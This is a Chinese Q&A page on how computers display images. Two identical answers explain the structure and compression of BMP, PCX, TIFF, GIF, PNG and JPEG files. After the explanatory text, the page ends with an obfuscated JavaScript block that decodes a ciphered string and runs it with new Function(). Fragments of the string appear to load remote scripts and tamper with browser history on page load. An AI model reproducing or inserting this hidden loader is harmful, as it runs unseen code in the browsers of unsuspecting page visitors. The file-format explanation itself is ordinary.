计算机是如何显示一张图像的呢?

2025-02-23 18:54:56
推荐回答(2个)
回答1:

计算机如何显示一张图像的:
不同图片格式的压缩方式是不同的。

bmp文件

bmp(bitmap的缩写)文件格式是windows本身的位图文件格式,所谓本身是指windows内部存储位图即采用这种格式。一个.bmp格式的文件通常有.bmp的扩展名,但有一些是以.rle为扩展名的,rle的意思是行程长度编码(runlengthencoding)。这样的文件意味着其使用的数据压缩方法是.bmp格式文件支持的两种rle方法中的一种。

bmp文件可用每象素1、4、8、16或24位来编码颜色信息,这个位数称作图象的颜色深度,它决定了图象所含的最大颜色数。一幅1-bpp(位每象素,bitperpixel)的图象只能有两种颜色。而一幅24-bpp的图象可以有超过16兆种不同的颜色。

下一页的图说明了一个典型.bmp文件的结构。它是以256色也就是8-bpp为例的,文件被分成四个主要的部分:一个位图文件头,一个位图信息头,一个色表和位图数据本身。位图文件头包含关于这个文件的信息。如从哪里开始是位图数据的定位信息,位图信息头含有关于这幅图象的信息,例如以象素为单位的宽度和高度。色表中有图象颜色的rgb值。对显示卡来说,如果它不能一次显示超过256种颜色,读取和显示.bmp文件的程序能够把这些rgb值转换到显示卡的调色板来产生准确的颜色。

bmp文件的位图数据格式依赖于编码每个象素颜色所用的位数。对于一个256色的图象来说,每个象素占用文件中位图数据部分的一个字节。象素的值不是rgb颜色值,而是文件中色表的一个索引。所以在色表中如果第一个r/g/b值是255/0/0,那么象素值为0表示它是鲜红色,象素值按从左到右的顺序存储,通常从最后一行开始。所以在一个256色的文件中,位图数据中第一个字节就是图象左下角的象素的颜色索引,第二个就是它右边的那个象素的颜色索引。如果位图数据中每行的字节数是奇数,就要在每行都加一个附加的字节来调整位图数据边界为16位的整数倍。

并不是所有的bmp文件结构都象表中所列的那样,例如16和24-bpp,文件就没有色表,象素值直接表示rgb值,另外文件私有部分的内部存储格式也是可以变化的。例如,在16和256色.bmp文件中的位图数据采用rle算法来压缩,这种算法用颜色加象素个数来取代一串颜色相同的序列,而且,windows还支持os/2下的.bmp文件,尽管它使用了不同的位图信息头和色表格式。

pcx文件

.pcx是在pc上成为位图文件存储标准的第一种图象文件格式。它最早出现在zsoft公司的paintbrush软件包中,在80年代早期授权给微软与其产品捆绑发行,而后转变为microsoftpaintbrush,并成为windows的一部分。虽然使用这种格式的人在减少,但这种带有.pcx扩展名的文件在今天仍是十分常见的。

pcx文件分为三部分,依次为:pcx文件头,位图数据和一个可选的色表。文件头长达128个字节,分为几个域,包括图象的尺寸和每个象素颜色的编码位数。位图数据用一种简单的rle算法压缩,最后的可选色表有256个rgb值,pcx格式最初是为cga和ega来设计的,后来经过修改也支持vga和真彩色显示卡,现在pcx图象可以用1、4、8或24-bpp来对颜色数据进行编码。

tiff文件

pcx格式是所有位图文件格式中最简单的,而tiff(taggedimagefileformat)则是最难的一种。

tiff文件含有.tif的扩展名。它以8字节长的图象文件头开始(ifh),这个文件头中最重要的成员是一个指向名为图象文件目录(ifd)的数据结构的指针。ifd是一个名为标记(tag)的用于区分一个或多个可变长度数据块的表,标记中含有关于图象的信息。tiff文件格式定义70多种不同类型的标记,有的用来存放以象素为单位的图象宽度和高度,有的用来存放色表(如果需要的话),当然还必须有用来存放位图数据的标记,一个tiff格式文件完全为它的标记所决定,而且这种文件结构极易扩展,因为你要附加一些特征只须增加一些额外的标记。

究竟是什么使tiff文件如此复杂?一方面,要写一种能够识别所用不同标记的软件非常困难。大多数tiff的阅读程序只能识别一部分标记,所以会出现这种情况:有时一个应用程序创建的tiff文件,另一个应用程序却不能使用。创建tiff文件的程序还可能会在文件中加一些只有它自己认识的标记,虽然tiff的阅读程序可以跳过那些它们不认得的标记,但这样做总是有可能影响到图象的质量。

另一方面,一个tiff文件可以包含多个图象,每个图象都有自己的ifd和一系列标记。tiff文件中的位图数据可能会用好几种方法来压缩,所以一个完备的tiff阅读程序应该有rle解压缩程序,lzw解压缩程序和其他一些算法的解压缩程序。然而更糟的是使用lzw的解码必须得到unisys公司的同意,且通常是需要付版税的。所以即使是一些相当不错的tiff阅读程序在它们遇到lzw算法压缩的图象时也是无能为力的。

尽管tiff是那么的复杂,但仍是一种最好的跨平台格式。因为它非常灵活,无论在视觉上还是其他方面,都能把任何图象编码成二进制形式而不丢失任何属性。

gif文件

当许多图象方面的权威一想到lzw的时候,他们也会想到gif(graphicsinterchangeformat,读作jiff)这是一种常用的跨平台的位图文件格式,最初为compuserve公司所创。gif文件通常带有.gif的扩展名,而且在compuseve上大量存在。

gif文件的结构取决于它属于哪一个版本,目前的两种版本分别是gif87a和gif89a,前者较简单。无论是哪个版本,它都以一个长13字节的文件头开始,文件头中包含判定此文件是gif文件的标记、版本号和其他的一些信息。如果这个文件只有一幅图象,文件头后紧跟一个全局色表来定义图象中的颜色。如果含有多幅图象(gif和tiff格式一样,允许在一个文件里编码多个图象),那么全局色表就被各个图象自带的局部色表所替代。

在gif87a文件中,文件头和全局色表之后是图象,它可能会是头尾相接的一串图象中的第一个,每个图象由三部分组成,一个10字节长的图象描述,一个可选的局部色表和位图数据。为有效利用空间,位图数据用lzw算法来压缩。

gif89a结构与此类似,但它还包括可选的扩展块来存放每个图象的附加信息。gif89a详细定义了四种扩展块:图象控制扩展块,它用来描述图象怎样被显示(例如,显示是应该象一个透明物去覆盖上一个图象,还是简单的替换它);简单文本扩展块,它包含显示在图象中的文本;注释扩展块,它以ascii文本形式存放注释;应用扩展块,它存放生成该文件的应用程序的私有数据。这些扩展块可以出现在文件中全局色表的任何地方。

gif最显著的优点是它的广泛使用和它的紧密性。但它有两个弱点,一个是用gif格式存放的文件最多只能含有256种颜色。另一个可能更重要,就是那些使用了gif格式的软件开发者必须征得compuserve的同意,他们每卖出一个拷贝都要向compuserve付版税。这个政策是compuserve仿效unisys公司作出的,它抑制了那些程序员在他的图象应用程序中支持gif文件。

png文件

png(portablenetworkgraphic,发音做ping)文件格式是作为gif的替代品开发的,它能够避免使用gif文件所遇到的常见问题。它从gif那里继承了许多特征,而且支持真彩色图象。更重要的是,在压缩位图数据时它采用了一种颇受好评的lz77算法的一个变种,lz77则是lzw的前身,而且可以免费使用。由于篇幅所限,在这里就不花时间来具体讨论png格式了。

jpeg文件

jpeg(jointphotographicexpertsgroup,发音做jay-peg)文件格式最初由c-cubemicrosystems推出,是为了提供一种存储深度位象素的有效方法,例如对于照片扫描,颜色很多而且差别细微(有时也不细微)。jpeg和这里讨论的其他格式的最大区别是jpeg使用一种有损压缩算法,无损压缩算法能在解压后准确再现压缩前的图象,而有损压缩则牺牲了一部分的图象数据来达到较高的压缩率。但是这种损失很小以至于人们很难察觉。

jpeg图象压缩是一个复杂的过程,经常需要专门的硬件来帮助。首先图象以象素为单位分成8*8的块。然后,每个块分三个步骤被压缩。第一步使用dct(discretecosinetransform)离散余弦变换把8*8的象素矩阵变成8*8的频率(也就是颜色改变的速度)矩阵。第二步对频率矩阵中的值用量化矩阵进行量化,滤掉那些总体上对图象不重要的部分。第三步,也就是最后一步,对量化后的频率矩阵使用无损压缩。

因为被量化后的频率矩阵缺了许多高频信息,通常能被压缩到一半甚至更少。无损压缩一般根本不能压缩真正的照片图象,所以50%的压缩率已是相当不错了,但另一方面,无损压缩能把一些图象文件尺寸减少90%,这样的图象文件就不适合用jpeg来压缩。

jpeg的有损部分产生在第二步,量化矩阵的值越高,从图象中丢掉的信息就越多,从而压缩率就越高,可是同时图象的质量就越差。在jpeg压缩时可以选择一个量化因子,这个因子的值决定了量化矩阵中的数值。理想的量化因子要在压缩率和图象质量间达到平衡,所以对不同的图象要选择不同的量化因子,通常要经过若干次尝试后方可确定。

回答2:

不同图片格式的压缩方式是不同的。

bmp文件

bmp(bitmap的缩写)文件格式是windows本身的位图文件格式,所谓本身是指windows内部存储位图即采用这种格式。一个.bmp格式的文件通常有.bmp的扩展名,但有一些是以.rle为扩展名的,rle的意思是行程长度编码(runlengthencoding)。这样的文件意味着其使用的数据压缩方法是.bmp格式文件支持的两种rle方法中的一种。

bmp文件可用每象素1、4、8、16或24位来编码颜色信息,这个位数称作图象的颜色深度,它决定了图象所含的最大颜色数。一幅1-bpp(位每象素,bitperpixel)的图象只能有两种颜色。而一幅24-bpp的图象可以有超过16兆种不同的颜色。

下一页的图说明了一个典型.bmp文件的结构。它是以256色也就是8-bpp为例的,文件被分成四个主要的部分:一个位图文件头,一个位图信息头,一个色表和位图数据本身。位图文件头包含关于这个文件的信息。如从哪里开始是位图数据的定位信息,位图信息头含有关于这幅图象的信息,例如以象素为单位的宽度和高度。色表中有图象颜色的rgb值。对显示卡来说,如果它不能一次显示超过256种颜色,读取和显示.bmp文件的程序能够把这些rgb值转换到显示卡的调色板来产生准确的颜色。

bmp文件的位图数据格式依赖于编码每个象素颜色所用的位数。对于一个256色的图象来说,每个象素占用文件中位图数据部分的一个字节。象素的值不是rgb颜色值,而是文件中色表的一个索引。所以在色表中如果第一个r/g/b值是255/0/0,那么象素值为0表示它是鲜红色,象素值按从左到右的顺序存储,通常从最后一行开始。所以在一个256色的文件中,位图数据中第一个字节就是图象左下角的象素的颜色索引,第二个就是它右边的那个象素的颜色索引。如果位图数据中每行的字节数是奇数,就要在每行都加一个附加的字节来调整位图数据边界为16位的整数倍。

并不是所有的bmp文件结构都象表中所列的那样,例如16和24-bpp,文件就没有色表,象素值直接表示rgb值,另外文件私有部分的内部存储格式也是可以变化的。例如,在16和256色.bmp文件中的位图数据采用rle算法来压缩,这种算法用颜色加象素个数来取代一串颜色相同的序列,而且,windows还支持os/2下的.bmp文件,尽管它使用了不同的位图信息头和色表格式。

pcx文件

.pcx是在pc上成为位图文件存储标准的第一种图象文件格式。它最早出现在zsoft公司的paintbrush软件包中,在80年代早期授权给微软与其产品捆绑发行,而后转变为microsoftpaintbrush,并成为windows的一部分。虽然使用这种格式的人在减少,但这种带有.pcx扩展名的文件在今天仍是十分常见的。

pcx文件分为三部分,依次为:pcx文件头,位图数据和一个可选的色表。文件头长达128个字节,分为几个域,包括图象的尺寸和每个象素颜色的编码位数。位图数据用一种简单的rle算法压缩,最后的可选色表有256个rgb值,pcx格式最初是为cga和ega来设计的,后来经过修改也支持vga和真彩色显示卡,现在pcx图象可以用1、4、8或24-bpp来对颜色数据进行编码。

tiff文件

pcx格式是所有位图文件格式中最简单的,而tiff(taggedimagefileformat)则是最难的一种。

tiff文件含有.tif的扩展名。它以8字节长的图象文件头开始(ifh),这个文件头中最重要的成员是一个指向名为图象文件目录(ifd)的数据结构的指针。ifd是一个名为标记(tag)的用于区分一个或多个可变长度数据块的表,标记中含有关于图象的信息。tiff文件格式定义70多种不同类型的标记,有的用来存放以象素为单位的图象宽度和高度,有的用来存放色表(如果需要的话),当然还必须有用来存放位图数据的标记,一个tiff格式文件完全为它的标记所决定,而且这种文件结构极易扩展,因为你要附加一些特征只须增加一些额外的标记。

究竟是什么使tiff文件如此复杂?一方面,要写一种能够识别所用不同标记的软件非常困难。大多数tiff的阅读程序只能识别一部分标记,所以会出现这种情况:有时一个应用程序创建的tiff文件,另一个应用程序却不能使用。创建tiff文件的程序还可能会在文件中加一些只有它自己认识的标记,虽然tiff的阅读程序可以跳过那些它们不认得的标记,但这样做总是有可能影响到图象的质量。

另一方面,一个tiff文件可以包含多个图象,每个图象都有自己的ifd和一系列标记。tiff文件中的位图数据可能会用好几种方法来压缩,所以一个完备的tiff阅读程序应该有rle解压缩程序,lzw解压缩程序和其他一些算法的解压缩程序。然而更糟的是使用lzw的解码必须得到unisys公司的同意,且通常是需要付版税的。所以即使是一些相当不错的tiff阅读程序在它们遇到lzw算法压缩的图象时也是无能为力的。

尽管tiff是那么的复杂,但仍是一种最好的跨平台格式。因为它非常灵活,无论在视觉上还是其他方面,都能把任何图象编码成二进制形式而不丢失任何属性。

gif文件

当许多图象方面的权威一想到lzw的时候,他们也会想到gif(graphicsinterchangeformat,读作jiff)这是一种常用的跨平台的位图文件格式,最初为compuserve公司所创。gif文件通常带有.gif的扩展名,而且在compuseve上大量存在。

gif文件的结构取决于它属于哪一个版本,目前的两种版本分别是gif87a和gif89a,前者较简单。无论是哪个版本,它都以一个长13字节的文件头开始,文件头中包含判定此文件是gif文件的标记、版本号和其他的一些信息。如果这个文件只有一幅图象,文件头后紧跟一个全局色表来定义图象中的颜色。如果含有多幅图象(gif和tiff格式一样,允许在一个文件里编码多个图象),那么全局色表就被各个图象自带的局部色表所替代。

在gif87a文件中,文件头和全局色表之后是图象,它可能会是头尾相接的一串图象中的第一个,每个图象由三部分组成,一个10字节长的图象描述,一个可选的局部色表和位图数据。为有效利用空间,位图数据用lzw算法来压缩。

gif89a结构与此类似,但它还包括可选的扩展块来存放每个图象的附加信息。gif89a详细定义了四种扩展块:图象控制扩展块,它用来描述图象怎样被显示(例如,显示是应该象一个透明物去覆盖上一个图象,还是简单的替换它);简单文本扩展块,它包含显示在图象中的文本;注释扩展块,它以ascii文本形式存放注释;应用扩展块,它存放生成该文件的应用程序的私有数据。这些扩展块可以出现在文件中全局色表的任何地方。

gif最显著的优点是它的广泛使用和它的紧密性。但它有两个弱点,一个是用gif格式存放的文件最多只能含有256种颜色。另一个可能更重要,就是那些使用了gif格式的软件开发者必须征得compuserve的同意,他们每卖出一个拷贝都要向compuserve付版税。这个政策是compuserve仿效unisys公司作出的,它抑制了那些程序员在他的图象应用程序中支持gif文件。

png文件

png(portablenetworkgraphic,发音做ping)文件格式是作为gif的替代品开发的,它能够避免使用gif文件所遇到的常见问题。它从gif那里继承了许多特征,而且支持真彩色图象。更重要的是,在压缩位图数据时它采用了一种颇受好评的lz77算法的一个变种,lz77则是lzw的前身,而且可以免费使用。由于篇幅所限,在这里就不花时间来具体讨论png格式了。

jpeg文件

jpeg(jointphotographicexpertsgroup,发音做jay-peg)文件格式最初由c-cubemicrosystems推出,是为了提供一种存储深度位象素的有效方法,例如对于照片扫描,颜色很多而且差别细微(有时也不细微)。jpeg和这里讨论的其他格式的最大区别是jpeg使用一种有损压缩算法,无损压缩算法能在解压后准确再现压缩前的图象,而有损压缩则牺牲了一部分的图象数据来达到较高的压缩率。但是这种损失很小以至于人们很难察觉。

jpeg图象压缩是一个复杂的过程,经常需要专门的硬件来帮助。首先图象以象素为单位分成8*8的块。然后,每个块分三个步骤被压缩。第一步使用dct(discretecosinetransform)离散余弦变换把8*8的象素矩阵变成8*8的频率(也就是颜色改变的速度)矩阵。第二步对频率矩阵中的值用量化矩阵进行量化,滤掉那些总体上对图象不重要的部分。第三步,也就是最后一步,对量化后的频率矩阵使用无损压缩。

因为被量化后的频率矩阵缺了许多高频信息,通常能被压缩到一半甚至更少。无损压缩一般根本不能压缩真正的照片图象,所以50%的压缩率已是相当不错了,但另一方面,无损压缩能把一些图象文件尺寸减少90%,这样的图象文件就不适合用jpeg来压缩。

jpeg的有损部分产生在第二步,量化矩阵的值越高,从图象中丢掉的信息就越多,从而压缩率就越高,可是同时图象的质量就越差。在jpeg压缩时可以选择一个量化因子,这个因子的值决定了量化矩阵中的数值。理想的量化因子要在压缩率和图象质量间达到平衡,所以对不同的图象要选择不同的量化因子,通常要经过若干次尝试后方可确定。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();